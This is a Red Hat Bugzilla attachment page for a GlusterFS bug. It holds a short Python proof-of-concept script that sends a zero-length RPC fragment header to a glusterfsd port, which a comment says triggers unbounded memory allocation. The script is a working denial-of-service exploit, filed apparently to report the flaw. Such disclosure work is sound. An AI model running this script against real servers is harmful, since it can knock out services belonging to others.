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Red Hat Bugzilla – Attachment 933620 Details for
Bug 1136221
The memories are exhausted quickly when handle the message which has multi fragments in a single record
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python test.py IP PORT; The IP and port are which the glusterfsd process listens on
test.py (text/plain), 711 bytes, created by
jiangkai
on 2014-09-02 08:02:11 UTC
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Description:
python test.py IP PORT; The IP and port are which the glusterfsd process listens on
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Creator:
jiangkai
Created:
2014-09-02 08:02:11 UTC
Size:
711 bytes
patch
obsolete
>import socket >import struct >import sys > >#The bytes encode an unsigned binary number; as with ># XDR integers, the byte order is from highest to lowest. The number ># encodes two values -- a boolean which indicates whether the fragment ># is the last fragment of the record (bit value 1 implies the fragment ># is the last fragment) and a 31-bit unsigned binary value which is the ># length in bytes of the fragment's data > ># 00000000 will cause the glusterfsd malloc memory in an infinite loop in __socket_proto_state_machine >fragment = struct.pack("I", 0) > > >address = (sys.argv[1], int(sys.argv[2])) >s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >s.connect(address) >s.send( fragment ) >s.close() >
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bug 1136221
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